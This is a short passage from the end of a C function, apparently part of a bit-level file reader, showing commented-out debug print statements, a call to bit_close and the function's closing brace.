			printf("%c aad\n",(char)r&((1UL<<8)-1));
			bit_read(file_to_read,8,&r);
			printf("%c aad\n",(char)r&((1UL<<8)-1));
			*/
			bit_close(file_to_read);
}